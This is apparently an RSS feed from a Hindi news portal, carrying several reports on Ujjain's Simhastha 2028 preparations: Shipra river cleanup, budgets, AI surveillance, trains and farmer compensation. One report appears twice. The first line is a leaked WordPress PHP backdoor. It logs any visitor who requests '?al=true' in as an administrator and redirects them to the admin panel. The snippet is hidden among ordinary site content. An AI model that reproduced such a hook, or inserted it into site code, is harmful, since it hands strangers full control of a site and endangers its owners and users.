// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Simhastha – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 06 Jun 2026 15:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सिंहस्थ 2028 से पहले उज्जैन में नमामि गंगे मिशन की बड़ी चुनौती, विकास कार्यों के बीच समय पर पूरा करना लक्ष्य https://pratyushaashakinayikiran.com/?p=225274 Sat, 06 Jun 2026 15:39:00 +0000 https://pratyushaashakinayikiran.com/?p=225274 उज्जैन
तीन साल की लंबी प्रतीक्षा और कड़े संघर्ष के बाद आखिरकार शिप्रा नदी को प्रदूषण मुक्त बनाने वाले ''नमामी गंगे मिशन'' को केंद्र सरकार से हरी झंडी तो मिल गई है, लेकिन अब प्रशासन और निर्माण एजेंसी के सामने इससे भी बड़ी अग्निपरीक्षा शुरू होने जा रही है। गाजियाबाद (उत्तरप्रदेश) की ‘सोमवंशी एनवायरो फर्म’ को 81 करोड़ रुपये का टेंडर मंजूर होने के बाद, अब सबसे बड़ा संकट सिंहस्थ-2028 की समय-सीमा के भीतर इस पूरी परियोजना को धरातल पर उतारने का है।

टेंडर की शर्तों के मुताबिक, इस पूरी परियोजना को पूरा करने के लिए 18 महीने का समय निर्धारित है। लेकिन तकनीकी और वित्तीय उलझनों के कारण जो परियोजना दो साल पहले शुरू हो जानी थी, उसमें तीन साल की भारी देरी हो चुकी है। इस लेती-लतीफी के कारण अब प्रशासन के पास समय बहुत कम बचा है।

वर्तमान में उज्जैन शहर के भीतर सिंहस्थ महाकुंभ की तैयारियों को लेकर सड़क चौड़ीकरण, नए घाटों का निर्माण, पुल, सीवरेज नेटवर्क और अन्य इंफ्रास्ट्रक्चर से जुड़े दर्जनों विकास कार्य एक साथ समानांतर रूप से चल रहे हैं। ऐसे में अलग-अलग निर्माण एजेंसियों के बीच आपसी समन्वय बैठाना और बिना किसी बाधा के समयबद्ध तरीके से काम को अंजाम देना जिला प्रशासन के लिए एक बड़ी चुनौती साबित होगा। यदि इस बार भी काम समय पर पूरा नहीं हुआ, तो सिंहस्थ से पहले शिप्रा शुद्धिकरण का मुख्य लक्ष्य सीधे तौर पर प्रभावित हो सकता है।

एमआईसी कब करेगी मंजूर
केंद्र सरकार ने तो ठेकेदार तय करने को स्वीकृति दे दी मगर एमआइसी यानी महापौर परिषद से स्वीकृति मिलना अभी बाकी है। ये स्वीकृति कब मिलेगी, स्वीकृति उपरांत कार्य आदेश कब जारी होगा, कब भूमि पूजन होगा, ये अभी तय नहीं हो सका है।
92.78 करोड़ की थी प्रशासनिक स्वीकृति, 81 करोड़ में हुआ टेंडर लॉक

शिप्रा नदी में मिलने वाले भैरवगढ़ और पीलियाखाल क्षेत्र के दूषित पानी को रोकने के लिए केंद्रीय जल शक्ति मंत्रालय ने 24 मई 2023 को ही 92 करोड़ 78 लाख रुपये की प्रशासनिक मंजूरी दे दी थी। जून 2023 में महापौर परिषद (एमआइसी) से हरी झंडी मिलने के बाद चार फर्मों ने निविदा में भाग लिया, लेकिन कड़ी परीक्षण प्रक्रिया के चलते पूर्व के सभी प्रस्ताव निरस्त करने पड़े। इसके बाद इसी साल फरवरी में संशोधित दरों के साथ फिर से टेंडर बुलाए गए, जिसमें अब गाजियाबाद की कंपनी का चयन किया गया है।

पीएलसी-स्काडा आधारित मानिटरिंग और 15 साल का मेंटेनेंस
इस हाईटेक परियोजना के तहत पीलियाखाल क्षेत्र में 22.06 एमएलडी क्षमता का सीवरेज ट्रीटमेंट प्लांट और भैरवगढ़ क्षेत्र में 2.38 एमएलडी क्षमता का एफ्लुएंट ट्रीटमेंट प्लांट स्थापित होगा। बता दे कि अभी भैरवगढ़ क्षेत्र में बाटिक प्रिंट इकाइयों का केमिकल युक्त पानी सीधे शिप्रा में मिलता है, प्लांट लगने के बाद नहीं मिलेगा। योजना अनुसार दो सीवेज पंपिंग स्टेशन, दो एफ्लुएंट पंपिंग स्टेशन, 1420 मीटर राइजिंग मेन और 3500 मीटर एफ्लुएंट पाइपलाइन बिछाई जाएगी। जल की शुद्धता की रियल-टाइम जांच के लिए अत्याधुनिक पीएलसी-स्काडा आधारित मानिटरिंग सिस्टम लगेगा। पर्यावरण को ध्यान में रखते हुए यह प्लांट सौर ऊर्जा आधारित सुविधाओं से लैस होगा। खास बात यह है कि निर्माण पूरा होने के बाद संबंधित एजेंसी ही अगले 15 वर्षों तक इसके संचालन और रख-रखाव का पूरा जिम्मा संभालेगी।

सिंहस्थ-2028 के लिहाज से क्या बदलेगा

नालों पर रोक: भैरवगढ़ की रंगाई-छपाई फैक्ट्रियों और पीलियाखाल का गंदा पानी अब सीधे शिप्रा नदी में नहीं मिलेगा।

शुद्ध जल: सीवेज का पूर्ण उपचार होने से नदी की जल गुणवत्ता में अभूतपूर्व सुधार होगा।

आस्था का सम्मान: सिंहस्थ महाकुंभ में आने वाले करोड़ों श्रद्धालुओं को आचमन और स्नान के लिए स्वच्छ व अविरल शिप्रा जल मिल सकेगा।

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सिंहस्थ 2028 होगा हाईटेक: उज्जैन में AI आधारित सुरक्षा मॉडल तैयार https://pratyushaashakinayikiran.com/?p=219310 Thu, 14 May 2026 03:36:00 +0000 https://pratyushaashakinayikiran.com/?p=219310 उज्जैन
 धार्मिक आस्था के सबसे बड़े आयोजनों में से एक सिंहस्थ महापर्व 2028 को लेकर उज्जैन में तैयारियां अब हाईटेक मोड पर पहुंच गई हैं। इस बार मेले में आर्टिफिशियल इंटेलिजेंस यानी AI के जरिए भीड़ प्रबंधन से लेकर सुरक्षा व्यवस्था तक को पूरी तरह स्मार्ट बनाया जाएगा।

सिंहस्थ 2028 को लेकर प्रशासन ने तैयारियों को तेज कर दिया है। विशेष पुलिस महानिदेशक उपेन्द्र जैन ने मेला क्षेत्र का निरीक्षण कर सुरक्षा और व्यवस्थाओं को लेकर महत्वपूर्ण दिशा-निर्देश दिए। उन्होंने साफ किया कि इस बार सिंहस्थ को AI आधारित निगरानी सिस्टम से लैस किया जाएगा। आधुनिक CCTV कैमरों और आर्टिफिशियल इंटेलिजेंस तकनीक की मदद से संदिग्ध गतिविधियों और व्यक्तियों की पहचान की जाएगी।

मेला क्षेत्र में संवेदनशील और अति-संवेदनशील स्थानों को चिन्हित कर वहां अतिरिक्त पुलिस बल की तैनाती की जाएगी। वहीं भीड़ नियंत्रण, लापता लोगों की खोज, महिला सुरक्षा और अपराध रोकथाम के लिए विशेष रणनीति तैयार की जा रही है। इसके साथ ही ट्रैफिक मैनेजमेंट को लेकर भी विस्तृत प्लान तैयार किया जा रहा है। डायवर्जन रूट, पार्किंग जोन और इमरजेंसी वाहनों के लिए अलग कॉरिडोर बनाए जाएंगे ताकि भारी भीड़ के बावजूद यातायात सुचारू बना रहे।

टेंट सिटी और अस्थायी ढांचों की सुरक्षा को देखते हुए फायर सेफ्टी पर विशेष जोर दिया गया है। फायर ब्रिगेड को अलर्ट रखने और समय-समय पर मॉक ड्रिल आयोजित करने के निर्देश दिए गए हैं। वहीं आपदा प्रबंधन को लेकर भी प्रशासन सतर्क है।

एम्बुलेंस, मेडिकल टीम और रेस्क्यू यूनिट को पूरी तरह तैयार रखने के निर्देश दिए गए हैं ताकि किसी भी आपात स्थिति में तुरंत कार्रवाई की जा सके। निरीक्षण के दौरान वरिष्ठ प्रशासनिक और पुलिस अधिकारी भी मौजूद रहे, जिन्होंने निर्माण कार्यों की गुणवत्ता और समयसीमा की समीक्षा की।

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सिंहस्थ की तैयारी: 2,451 करोड़ से उज्जैन का इंफ्रास्ट्रक्चर होगा चमचमाता, पीने के पानी से सीवरेज तक https://pratyushaashakinayikiran.com/?p=213108 Sun, 19 Apr 2026 04:08:00 +0000 https://pratyushaashakinayikiran.com/?p=213108 उज्जैन
 बाबा महाकाल की नगरी उज्जैन को वैश्विक स्तर के धार्मिक और पर्यटन केंद्र के रूप में स्थापित करने के लिए सरकार ने मास्टर प्लान तैयार कर लिया है। इस योजना का सबसे महत्वपूर्ण हिस्सा शिप्रा नदी को प्रदूषण मुक्त बनाना और घाटों का विस्तार करना है। इसके लिए ₹2,698 करोड़ की भारी-भरकम राशि आवंटित की गई है, जो नदी के जीर्णोद्धार और श्रद्धालुओं की सुविधाओं पर खर्च होगी।

गंदे पानी से मिलेगी मुक्ति
शिप्रा में मिलने वाले कान्ह नदी के प्रदूषित पानी को रोकने के लिए ₹919 करोड़ का क्लोज्ड-डक्ट डायवर्जन प्रोजेक्ट शुरू किया जा रहा है। इसके तहत 30 किलोमीटर लंबी नहर और टनल प्रणाली बनाई जाएगी। इसके अलावा, ₹614 करोड़ के सेवरखेड़ी-सिलारखेड़ी प्रोजेक्ट के जरिए 51 मिलियन क्यूबिक मीटर पानी का भंडारण और विनियमन किया जाएगा, जिससे नदी में जल स्तर बना रहे।

2.5 करोड़ श्रद्धालुओं के लिए बन रहे हैं नए घाट
आगामी सिंहस्थ और प्रमुख स्नान पर्वों को देखते हुए घाटों का अभूतपूर्व विस्तार किया जा रहा है। ₹778 करोड़ की लागत से 29.21 किलोमीटर नए घाट विकसित किए जाएंगे। वहीं, पुराने 9 किलोमीटर के घाटों को अपग्रेड किया जा रहा है ताकि भीड़ के दिनों में एक साथ 2.5 करोड़ श्रद्धालु सुरक्षित रूप से स्नान कर सकें।

मेडिकल कॉलेज और आधुनिक इंफ्रास्ट्रक्चर का तोहफा
केवल नदी ही नहीं, बल्कि शहर के ढांचे को भी आधुनिक बनाया जा रहा है:
स्वास्थ्य: ₹592 करोड़ की लागत से 500 बेड का मेडिकल कॉलेज बनेगा।
पर्यटन और व्यापार: ₹284 करोड़ से यूनिटी मॉल और पर्यटन सर्किट, उज्जैन-ओंकारेश्वर-महेश्वर-मांडू का विकास।

शहरी सुविधाएं: ₹2,451 करोड़ पेयजल, सीवरेज और सॉलिड वेस्ट मैनेजमेंट के लिए। इसमें 250 MLD का ट्रीटमेंट प्लांट और 700 किमी लंबा पाइपलाइन नेटवर्क शामिल है।

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सिंहस्थ की तैयारी: 2,451 करोड़ से उज्जैन का इंफ्रास्ट्रक्चर होगा चमचमाता, पीने के पानी से सीवरेज तक https://pratyushaashakinayikiran.com/?p=213109 Sun, 19 Apr 2026 04:08:00 +0000 https://pratyushaashakinayikiran.com/?p=213109 उज्जैन
 बाबा महाकाल की नगरी उज्जैन को वैश्विक स्तर के धार्मिक और पर्यटन केंद्र के रूप में स्थापित करने के लिए सरकार ने मास्टर प्लान तैयार कर लिया है। इस योजना का सबसे महत्वपूर्ण हिस्सा शिप्रा नदी को प्रदूषण मुक्त बनाना और घाटों का विस्तार करना है। इसके लिए ₹2,698 करोड़ की भारी-भरकम राशि आवंटित की गई है, जो नदी के जीर्णोद्धार और श्रद्धालुओं की सुविधाओं पर खर्च होगी।

गंदे पानी से मिलेगी मुक्ति
शिप्रा में मिलने वाले कान्ह नदी के प्रदूषित पानी को रोकने के लिए ₹919 करोड़ का क्लोज्ड-डक्ट डायवर्जन प्रोजेक्ट शुरू किया जा रहा है। इसके तहत 30 किलोमीटर लंबी नहर और टनल प्रणाली बनाई जाएगी। इसके अलावा, ₹614 करोड़ के सेवरखेड़ी-सिलारखेड़ी प्रोजेक्ट के जरिए 51 मिलियन क्यूबिक मीटर पानी का भंडारण और विनियमन किया जाएगा, जिससे नदी में जल स्तर बना रहे।

2.5 करोड़ श्रद्धालुओं के लिए बन रहे हैं नए घाट
आगामी सिंहस्थ और प्रमुख स्नान पर्वों को देखते हुए घाटों का अभूतपूर्व विस्तार किया जा रहा है। ₹778 करोड़ की लागत से 29.21 किलोमीटर नए घाट विकसित किए जाएंगे। वहीं, पुराने 9 किलोमीटर के घाटों को अपग्रेड किया जा रहा है ताकि भीड़ के दिनों में एक साथ 2.5 करोड़ श्रद्धालु सुरक्षित रूप से स्नान कर सकें।

मेडिकल कॉलेज और आधुनिक इंफ्रास्ट्रक्चर का तोहफा
केवल नदी ही नहीं, बल्कि शहर के ढांचे को भी आधुनिक बनाया जा रहा है:
स्वास्थ्य: ₹592 करोड़ की लागत से 500 बेड का मेडिकल कॉलेज बनेगा।
पर्यटन और व्यापार: ₹284 करोड़ से यूनिटी मॉल और पर्यटन सर्किट, उज्जैन-ओंकारेश्वर-महेश्वर-मांडू का विकास।

शहरी सुविधाएं: ₹2,451 करोड़ पेयजल, सीवरेज और सॉलिड वेस्ट मैनेजमेंट के लिए। इसमें 250 MLD का ट्रीटमेंट प्लांट और 700 किमी लंबा पाइपलाइन नेटवर्क शामिल है।

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सिंहस्थ के लिए 3,000 करोड़ का बजट, घाटों की मरम्मत और पेयजल-सीवरेज के अधूरे काम पूरे करने का लक्ष्य https://pratyushaashakinayikiran.com/?p=199342 Fri, 20 Feb 2026 03:40:00 +0000 https://pratyushaashakinayikiran.com/?p=199342 उज्जैन 

प्रदेश सरकार ने आगामी सिंहस्थ महापर्व को भव्य, सुरक्षित और सुव्यवस्थित बनाने के उद्देश्य से बजट में बड़े पैमाने पर वित्तीय प्रावधान किए हैं। मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में सिंहस्थ क्षेत्र के समग्र विकास और आधारभूत संरचना को मजबूत करने के लिए कुल 13 हजार 851 करोड़ रुपये के विभिन्न कार्य स्वीकृत किए गए हैं। ये राशि पिछले बजट की तुलना में 1055 करोड़ रुपए ज्यादा है। अब तक सरकार सिंहस्थ के लिए 5570 करोड़ रुपए का बजटीय प्रावधान कर चुकी है।वित्त मंत्री जगदीश देवड़ा ने अपने बजट भाषण में जिक्र किया कि सिंहस्थ के लिए पहले से ही 13 हजार 851 करोड़ के काम स्वीकृत किए जा चुके हैं। अलग-अलग विभागों के काम चल भी रहे हैं।

वित्त मंत्री के दावों के उलट सरकार के ही आर्थिक सर्वेक्षण में बताया गया है कि घाटों की मरम्मत, पुल, सड़कों के अपग्रेडेशन का काम अभी भी पूरा नहीं हुआ है।आयोजन के लिए बनी कैबिनेट सब कमेटी अब तक 10 विभिन्न विभागों के 128 प्रोजेक्ट्स को मंजूरी दे चुकी है, जिनकी कुल अनुमानित लागत ₹13,752 करोड़ है। इनमें सबसे ज्यादा 42 प्रोजेक्ट नगरीय विकास एवं आवास विभाग के जिम्मे हैं। जिनमें 33 प्रोजेक्ट पर ही काम शुरू हुआ है।

इन परियोजनाओं का मुख्य फोकस यातायात व्यवस्था को सुगम बनाना, श्रद्धालुओं की आवाजाही को सुरक्षित करना और शहर की कनेक्टिविटी को बेहतर करना है। स्वीकृत कार्यों में 1,164 करोड़ रुपये की लागत से इंदौर-उज्जैन मार्ग का सिक्स लेन चौड़ीकरण, 1,370 करोड़ रुपये की अनुमानित लागत से इंदौर-उज्जैन ग्रीनफील्ड हाईवे का निर्माण तथा 701 करोड़ रुपये की लागत से उज्जैन बायपास मार्ग का विकास शामिल हैं। इन परियोजनाओं के पूर्ण होने से सिंहस्थ के दौरान लाखों श्रद्धालुओं की आवाजाही में सुविधा होगी और ट्रैफिक दबाव कम होगा।

वित्तीय वर्ष 2026-27 के लिए इन कार्यों हेतु 3 हजार 60 करोड़ रुपये का प्रावधान प्रस्तावित किया गया है, जिससे निर्माण कार्यों को गति मिल सके। सरकार का लक्ष्य है कि सिंहस्थ महापर्व के दौरान देश-विदेश से आने वाले श्रद्धालुओं को बेहतर सड़क नेटवर्क, सुगम परिवहन, सुव्यवस्थित प्रवेश मार्ग और सुरक्षित आवागमन की सुविधा उपलब्ध कराई जा सके।

सरकार का मानना है कि इन आधारभूत परियोजनाओं से न केवल सिंहस्थ की व्यवस्थाएं सुदृढ़ होंगी, बल्कि उज्जैन और आसपास के क्षेत्रों के दीर्घकालीन शहरी विकास को भी नई दिशा मिलेगी। 

समय कम, काम ज्यादा- 26 प्रोजेक्ट अभी कागजों में

सिंहस्थ 2028 के शुरू होने में अब महज दो साल का वक्त बचा है, लेकिन स्वीकृत 128 प्रोजेक्ट्स में से केवल 102 पर ही काम शुरू हो पाया है। इसका मतलब है कि 26 महत्वपूर्ण प्रोजेक्ट अभी भी फाइलों में ही अटके हैं। इन लंबित योजनाओं में सड़कें चौड़ी करने, नए पुलों का निर्माण, घाटों का विस्तार, ट्रैफिक व्यवस्था में सुधार, श्रद्धालुओं के लिए आवास जैसे प्रोजेक्ट हैं।

साथ ही पेयजल और सीवरेज लाइनों जैसी मूलभूत सुविधाओं का काम भी अभी पूरा नहीं हुआ है। योजनाएं जितनी बड़ी और महत्वपूर्ण हैं, उन्हें पूरा करने के लिए समय उतना ही कम बचा है, जो प्रशासनिक मशीनरी के लिए एक बड़ी चुनौती बन गया है।

हाल ही में मुख्य सचिव अनुराग जैन की अध्यक्षता में हुई विभागीय समीक्षा बैठक में यह बात सामने आई कि प्रदेश में पूंजीगत व्यय की सर्वाधिक 2300 करोड़ रुपए की राशि सिंहस्थ मद में ही बची हुई है, जिसे जल्द से जल्द खर्च करने की आवश्यकता है।

नगरीय विकास एवं आवास विभाग पर सिंहस्थ की तैयारियों का सबसे बड़ा जिम्मा है। नगरीय विकास विभाग, जिस पर सिंहस्थ की तैयारियों का सबसे बड़ा जिम्मा है, को 2760 करोड़ रुपए की लागत वाले 42 प्रोजेक्ट पूरे करने हैं। लेकिन विभाग अब तक केवल 33 प्रोजेक्ट ही धरातल पर उतार पाया है।

शिप्रा का शुद्धिकरण: सरकार की सबसे बड़ी चुनौती

सिंहस्थ की आत्मा शिप्रा नदी के पवित्र जल में स्नान से जुड़ी है, और सरकार के लिए सबसे बड़ी चुनौती करोड़ों श्रद्धालुओं को स्वच्छ और निर्मल जल उपलब्ध कराना है। जल संसाधन विभाग इस दिशा में पांच बड़े प्रोजेक्ट्स पर काम कर रहा है, लेकिन उनकी प्रगति की रफ्तार चिंताजनक है।

    कान्ह डायवर्शन क्लोज डक्ट: इंदौर से आने वाले कान्ह नदी के प्रदूषित पानी को शिप्रा में मिलने से रोकने के लिए यह ₹914 करोड़ की सबसे महत्वपूर्ण परियोजना है। सितंबर 2027 की डेडलाइन वाले इस प्रोजेक्ट का काम अब तक केवल 52% ही पूरा हो पाया है।

    बैराज निर्माण: शिप्रा और कान्ह नदी पर पानी के बहाव को नियंत्रित करने के लिए बैराज बनाए जा रहे हैं। इंदौर में काम 75% पूरा हो चुका है, लेकिन उज्जैन में यह केवल 20% और देवास में महज 5% ही हुआ है।

    शिप्रा को प्रवाहमान बनाना: सेवरखेड़ी-सिलारखेड़ी प्रोजेक्ट के तहत ₹614.53 करोड़ की लागत से शिप्रा को प्रवाहमान बनाने का काम चल रहा है, जो अभी 62% ही पूरा हुआ है।

    घाट निर्माण: शिप्रा के दोनों ओर 30 किलोमीटर के क्षेत्र में ₹776 करोड़ की लागत से घाटों का निर्माण होना है, लेकिन यह काम अभी केवल 20% ही आगे बढ़ा है।

    शिप्रा पर अतिरिक्त बैराज: उज्जैन और देवास जिले में शिप्रा पर बनने वाले अन्य बैराजों का काम भी केवल 15% ही हुआ है, जबकि इनकी डेडलाइन नवंबर 2027 है।

    मुख्यमंत्री डॉ. मोहन यादव ने हाल ही में इन प्रोजेक्ट्स की समीक्षा कर काम में तेजी लाने के सख्त निर्देश दिए हैं।

केंद्र से मदद की उम्मीद इस महा-आयोजन के वित्तीय बोझ को कम करने के लिए राज्य सरकार पिछले तीन साल से केंद्र से मदद की गुहार लगा रही है। हालांकि केंद्रीय बजट में सीधे तौर पर कोई घोषणा नहीं हुई, लेकिन राज्य सरकार को उम्मीद है कि केंद्र से किस्तों में 6,000 से 7,000 करोड़ रुपए की राशि प्राप्त होगी।

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सिंहस्थ की तैयारी में किसानों को राहत: प्रभावितों को मिलेगा विशेष मुआवजा पैकेज https://pratyushaashakinayikiran.com/?p=175521 Mon, 04 Aug 2025 12:37:00 +0000 https://pratyushaashakinayikiran.com/?p=175521 उज्जैन 

सीएम मोहन यादव (CM Mohan Yadav) ने सिंहस्थ क्षेत्र में प्रभावित होने वाले किसानों के लिए भी स्पेशल मुआवजे (special package of compensation) का ऐलान किया है।

विधायक अनिल जैन ने किया था अनुरोध

विधायक अनिल जैन कालूहेड़ा ने सीएम डॉक्टर मोहन यादव से अनुरोध किया था कि लैंड पुलिंग में जिन किसानों (MP Farmers) की जमीन अधिगृहित की जा रही है, उन्हें गाइड लाइन के हिसाब से कम मुआवजा मिलेगा। इसे बढ़ाया जाना चाहिए। विधायक की इस माग को सीएम मोहन यादव ने गंभीरता से लिया और कहा कि ऐसी ही स्थिति विक्रम उद्योगपुरी में भी बन रही थी, वहां के किसानों को स्पेशल पैकेज दिया गया है।

जिस तरह सिंहस्थ जरूरी, उसी तरह किसान हित जरूरी

सीएम ने आगे कहा कि जिस तरह हमारे लिए सिंहस्थ 2028 जरूरी है, उसी तरह किसानों का हित भी जरूरी है। सीएम ने कहा, किसान घबराएं नहीं, भले ही उन्हें मुआवजा गाइडलाइन के हिसाब से कम मिला हो, लेकिन उन्हें स्पेशल पैकेज के तहत भी मुआवजा दिया जाएगा।

लाड़ली बहना योजना से जुड़ी महिलाओं और उनके भाइयों के लिए बड़ी खबर, सीएम ने किया ऐलान

सीएम मोहन यादव ने लाड़ली बहना योजना की राशि 1250 से बढ़ाकर 1500 रुपए करने का ऐलान कर दिया है। उन्होंने कहा है कि दीपावली लाड़ली बहनों के लिए बेहद शुभ होने वाली है। ये पर्व इनके लिए मां लक्ष्मी का आशीर्वाद लेकर आया है। मां लक्ष्मी की कृपा से दीपावली पर पड़ने वाली भाईदूज से प्रदेश की करोड़ों लाड़ली बहनों को 1500 रुपए की राशि दी जाएगी। यानी हर महीने 1500 रुपए लाड़ली बहना योजना के तहत पात्र बहनों के खाते में भेजी जाएगी।

यही नहीं सीएम ने लाड़ली बहनों को खुशखबरी देते हुए ये भी ऐलान किया है कि जल्द ही लाड़ली बहना योजना की पात्र युवा बहनों और उनके युवा भाइयों को रोजगार भी दिया जाएगा।

उज्जैन में की घोषणा

बता दें कि सीएम मोहन यादव ने उज्जैन में आयोजित एक कार्यक्रम के दौरान ये ऐलान किया है। जहां उन्होंने बहनों से राखी भी बंधवाई। यही नहीं उन्होंने रक्षाबंधन के उपहार को लेकर तारीख की भी घोषणा की है। उन्होंने लाड़ली बहना को राखी पर नेग देने की तारीख का ऐलान करते हुए कहा कि नेग देने की तारीख तय हो गई है। 7 अगस्त को 1250 रुपए की किस्त ट्रांसफर करेंगे। इसी दिन राखी का नेग 250 रुपए भी देंगे। प्रदेश की 1.27 करोड़ बहनों को 1500 रुपए मिलेंगे। मोहन सरकार 1600 करोड़ खातों में 1905 करोड़ रुपए भेजेगी। वहीं दिवाली की भाईदूज से यह राशि हर माह 1500 रुपए ही दी जाएगी।

सिंहस्थ क्षेत्र में प्रभावितों को मिलेगा स्पेशल पैकेज

प्रदेश के मुखिया सीएम मोहन यादव (CM Mohan Yadav) ने सिंहस्थ क्षेत्र में प्रभावित होने वाले किसानों के लिए भी स्पेशल मुआवजे का ऐलान किया है। विधायक अनिल जैन कालूहेड़ा ने सीएम डॉक्टर मोहन यादव से अनुरोध किया था कि लैंड पुलिंग में जिन किसानों की जमीन अधिगृहित की जा रही है, उन्हें गाइड लाइन के हिसाब से कम मुआवजा मिलेगा। इसे बढ़ाया जाना चाहिए। विधायक की इस माग को सीएम मोहन यादव ने गंभीरता से लिया और कहा कि ऐसी ही स्थिति विक्रम उद्योगपुरी में भी बन रही थी, वहां के किसानों को स्पेशल पैकेज दिया गया है।

सीएम ने आगे कहा कि जिस तरह हमारे लिए सिंहस्थ जरूरी है, उसी तरह किसानों का हित भी जरूरी है। सीएम ने कहा, किसान घबराएं नहीं, भले ही उन्हें मुआवजा गाइडलाइन के हिसाब से कम मिला हो, लेकिन उन्हें स्पेशल पैकेज के तहत भी मुआवजा दिया जाएगा।

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रेलवे का सिंहस्थ में ट्रेनों से एक करोड़ श्रद्धालुओं को लाने का लक्ष्य, रोज 100 ट्रेन चलाएगा https://pratyushaashakinayikiran.com/?p=166521 Thu, 26 Jun 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=166521  इंदौर
 रेलवे बोर्ड के चेयरमैन सतीश कुमार  इंदौर पहुंचे। उन्होंने पश्चिम रेलवे रतलाम मंडल के क्षेत्र की विभिन्न रेल परियोजनाओं की समीक्षा की। निर्माण विभाग के अधिकारियों ने परियोजनाओं की प्रगति के बारे में जानकारी दी। चेयरमैन ने बताया कि उज्जैन में लगने वाले सिंहस्थ-2028 के दौरान यात्रियों को रेलवे की ओर से अच्छी से अच्छी सुविधा दी जाए।

सिंहस्थ में करीब एक करोड़ श्रद्धालु ट्रेन से शामिल हों, यही हमारा लक्ष्य है। सिंहस्थ के दौरान इंदौर, देवास, उज्जैन, रतलाम, नागदा सहित अन्य स्टेशनों से रोजाना 100 ट्रेनें चलाई जाएंगी। इंदौर-उज्जैन स्टेशनों का विस्तार किया जाएगा। स्टेशनों पर पेयजल, सुविधागृह एवं साफ-सफाई की व्यवस्था की जाएगी।

उज्जैन के आसपास छोटे स्टेशनों जैसे नीलोखेड़ी, मोहनपुरा सहित अन्य स्टेशनों का विकास कार्य किया जाएगा, क्योंकि श्रद्धालु छोटे स्टेशनों पर उतरेंगे। यहां से मेला क्षेत्र तक पैदल जाएंगे। इन स्टेशनों पर होल्डिंग एरिया बनाए जाएंगे, यहां यात्री आराम कर सकेंगे। कई गाड़ियां छोटे स्टेशनों से चलाई जाएंगी। चेयरमैन ने बताया कि इंदौर स्टेशन का पुनर्विकास कार्य 485 करोड़ रुपए की लागत से किया जाएगा।

सात मंजिला इमारत बनाई जाएगी

इस पर काम शुरू हो चुका है। डिजाइन पर काम चल रहा है। इंदौर स्टेशन पर काफी विकास की जरूरत है। सात मंजिला इमारत बनाई जाएगी। पार्किंग की अंडरग्राउंड व्यवस्था की जाएगी। यात्रियों के लिए लिफ्ट और एक्सिलेटर की सुविधा दी जाएगी। स्टेशन के दोनों ओर नई बिल्डिंग बनाई जाएगी। पुनर्विकास के दौरान 1 नं. प्लेटफार्म को बंद कर दिया जाएगा।

इस देखते हुए लक्ष्मीबाई नगर और महू से भी ट्रेनें शुरू की जाएंगी, क्योंकि यदि यात्रियों को 10 दिन के लिए भी ट्रेन नहीं मिलेगी तो दिक्कत हो जाएगी। यात्रियों को पुनर्विकास के दौरान ट्रेन मिलने में परेशानी न हो, यही सब व्यवस्था को देखने के लिए आज मेरा आने का उद्देश्य था।

इंदौर-दाहोद लाइन पर 32 किमी पर काम पूरा

उन्होंने बताया कि इंदौर-दाहोद लाइन पर 32 किमी पर काम पूरा हो चुका है। इस साल के अंत तक 100 किमी पर और काम पूरा हो जाएगा। इस प्रोजेक्ट को पूरा होने में तीन साल लगेंगे। इंदौर-मनमाड़ लाइन में समय लगेगा। इंदौर क्षेत्र में चल रही रेल विभिन्न परियोजनाओं के तहत दाहोद-इंदौर नई लाइन, महू-खंडवा गेज कन्वर्जन, इंदौर स्टेशन अपग्रेडेशन की समीक्षा की। नीमच-रतलाम डबलिंग, छोटा उदयपुर नई लाइन व अन्य स्वीकृत प्रोजेक्टों पर भी चर्चा की।

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सिंहस्थ कुंभ को लेकर प्रशासन ने अभी से ही तैयारियां शुरू कर दी, भीड़ और पार्किंग प्रबंधन के लिए होगा AI का उपयोग https://pratyushaashakinayikiran.com/?p=163673 Sat, 14 Jun 2025 04:36:00 +0000 https://pratyushaashakinayikiran.com/?p=163673  भोपाल
 उज्जैन में वर्ष 2028 में होने जा रहे सिंहस्थ में भीड़, यातायात और पार्किंग प्रबंधन के लिए आर्टिफिशियल इंटेलिजेंस (एआइ) का भी उपयोग किया जाएगा। सुरक्षा व्यवस्था और अन्य प्रबंध के लिए ड्रोन से निगरानी की जाएगी। इसी वर्ष प्रयागराज महाकुंभ में इन तकनीकों के सफल प्रयोग के बाद इन्हें यहां भी अपनाया जाएगा।

सिंहस्थ महाकुंभ की तैयारियों को लेकर पुलिस मुख्यालय में डीजीपी कैलाश मकवाणा ने वरिष्ठ अधिकारियों के साथ बैठक की। इसमें प्रयागराज कुंभ की व्यवस्थाओं में बड़ी भूमिका निभाने वाले उत्तर प्रदेश पुलिस के आइपीएस अधिकारी प्रेम कुमार गौतम ने वहां किए गए प्रबंध के बारे में प्रस्तुतीकरण दिया।

रीयल-टाइम ट्रैफिक मानीटरिंग की जाएगी

गौतम ने बताया कि स्मार्ट ट्रैफिक प्रबंधन और भीड़ नियंत्रण के लिए एआइ आधारित ट्रैफिक कंट्रोल सेंटर की स्थापना, इंटेलिजेंट ट्रैफिक मैनेजमेंट सिस्टम (आइटीएस) द्वारा रीयल-टाइम ट्रैफिक मानीटरिंग की गई। ड्रोन से प्रमुख मार्गों और भीड़-भाड़ वाले क्षेत्रों में सटीक पर्यवेक्षण किया गया। श्रद्धालुओं की सुविधा के लिए रूट डायवर्सन मोबाइल एप बनाकर लाइव ट्रैफिक अपडेट उपलब्ध कराए गए।

आंतकवाद से निपटने की भी तैयारी

साथ ही उन्होंने बताया कि आतंकवाद विरोधी गतिविधियों से निपटने के लिए डाग स्क्वाड, बम डिस्पोजल यूनिट को तैनात किया। डार्कवेब से साइबर खतरों और फेस रिकग्नीशन ट्रैकिंग सिस्टम से संदिग्ध व्यक्तियों की गतिविधियों पर सतत निगरानी रखी गई। वीवीआइपी मूवमेंट और श्रद्धालु सुविधाओं के बारे में भी उन्होंने बताया।

प्रयागराज की तुलना में जगह कम

